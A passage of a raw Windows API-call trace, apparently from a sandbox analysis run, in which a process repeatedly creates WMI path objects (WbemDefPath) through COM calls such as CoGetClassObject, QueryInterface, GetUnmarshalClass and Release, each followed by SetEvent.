	[0081.872] WbemDefPath:IUnknown:AddRef (This=0x69b0820) returned 0x3
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x5413eb8) returned 0x0
	[0081.872] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5413eb8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0081.872] WbemDefPath:IUnknown:Release (This=0x5413eb8) returned 0x3
	[0081.872] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0081.872] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0081.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0820, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0081.873] WbemDefPath:IUnknown:Release (This=0x69b0820) returned 0x2
	[0081.873] WbemDefPath:IUnknown:Release (This=0x69b0820) returned 0x1
	[0081.873] SetEvent (hEvent=0x46c) returned 1
	[0085.012] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69b0918) returned 0x0
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0918, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0085.013] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69b0918, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69bc940) returned 0x0
	[0085.013] WbemDefPath:IUnknown:Release (This=0x69b0918) returned 0x0
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69bc940) returned 0x0
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0085.013] WbemDefPath:IUnknown:AddRef (This=0x69bc940) returned 0x3
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719920) returned 0x0
	[0085.013] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719920, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.013] WbemDefPath:IUnknown:Release (This=0x719920) returned 0x3
	[0085.013] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0085.013] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0085.013] WbemDefPath:IUnknown:Release (This=0x69bc940) returned 0x2
	[0085.013] WbemDefPath:IUnknown:Release (This=0x69bc940) returned 0x1
	[0085.013] SetEvent (hEvent=0x524) returned 1
	[0085.468] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bd470) returned 0x0
	[0085.468] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd470, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0085.468] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bd470, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69bd480) returned 0x0
	[0085.469] WbemDefPath:IUnknown:Release (This=0x69bd470) returned 0x0
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69bd480) returned 0x0
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0085.469] WbemDefPath:IUnknown:AddRef (This=0x69bd480) returned 0x3
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x7199b0) returned 0x0
	[0085.469] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x7199b0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.469] WbemDefPath:IUnknown:Release (This=0x7199b0) returned 0x3
	[0085.469] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0085.469] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0085.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd480, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0085.469] WbemDefPath:IUnknown:Release (This=0x69bd480) returned 0x2
	[0085.469] WbemDefPath:IUnknown:Release (This=0x69bd480) returned 0x1
	[0085.469] SetEvent (hEvent=0x5d8) returned 1
	[0085.471] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bd670) returned 0x0
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd670, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0085.472] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bd670, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69bd6f8) returned 0x0
	[0085.472] WbemDefPath:IUnknown:Release (This=0x69bd670) returned 0x0
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69bd6f8) returned 0x0
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0085.472] WbemDefPath:IUnknown:AddRef (This=0x69bd6f8) returned 0x3
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719a20) returned 0x0
	[0085.472] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719a20, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.472] WbemDefPath:IUnknown:Release (This=0x719a20) returned 0x3
	[0085.472] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0085.472] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0085.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd6f8, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0085.472] WbemDefPath:IUnknown:Release (This=0x69bd6f8) returned 0x2
	[0085.472] WbemDefPath:IUnknown:Release (This=0x69bd6f8) returned 0x1
	[0085.472] SetEvent (hEvent=0x5e8) returned 1
	[0086.108] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bd890) returned 0x0
	[0086.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd890, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0086.108] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bd890, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69bd910) returned 0x0
	[0086.108] WbemDefPath:IUnknown:Release (This=0x69bd890) returned 0x0
	[0086.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69bd910) returned 0x0
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0086.109] WbemDefPath:IUnknown:AddRef (This=0x69bd910) returned 0x3
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719b20) returned 0x0
	[0086.109] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719b20, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0086.109] WbemDefPath:IUnknown:Release (This=0x719b20) returned 0x3
	[0086.109] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0086.109] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0086.109] WbemDefPath:IUnknown:Release (This=0x69bd910) returned 0x2
	[0086.109] WbemDefPath:IUnknown:Release (This=0x69bd910) returned 0x1
	[0086.109] SetEvent (hEvent=0x60c) returned 1
	[0102.186] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69b0a90) returned 0x0
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a90, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0102.186] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69b0a90, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69bc8e8) returned 0x0
	[0102.186] WbemDefPath:IUnknown:Release (This=0x69b0a90) returned 0x0
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69bc8e8) returned 0x0
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0102.186] WbemDefPath:IUnknown:AddRef (This=0x69bc8e8) returned 0x3
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0102.186] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719b20) returned 0x0
	[0102.186] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719b20, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.186] WbemDefPath:IUnknown:Release (This=0x719b20) returned 0x3
	[0102.187] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0102.187] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0102.187] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc8e8, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0102.187] WbemDefPath:IUnknown:Release (This=0x69bc8e8) returned 0x2
	[0102.187] WbemDefPath:IUnknown:Release (This=0x69bc8e8) returned 0x1
	[0102.187] SetEvent (hEvent=0x5b4) returned 1
	[0102.358] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bc9e8) returned 0x0
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc9e8, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0102.358] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bc9e8, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69b0a00) returned 0x0
	[0102.358] WbemDefPath:IUnknown:Release (This=0x69bc9e8) returned 0x0
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69b0a00) returned 0x0
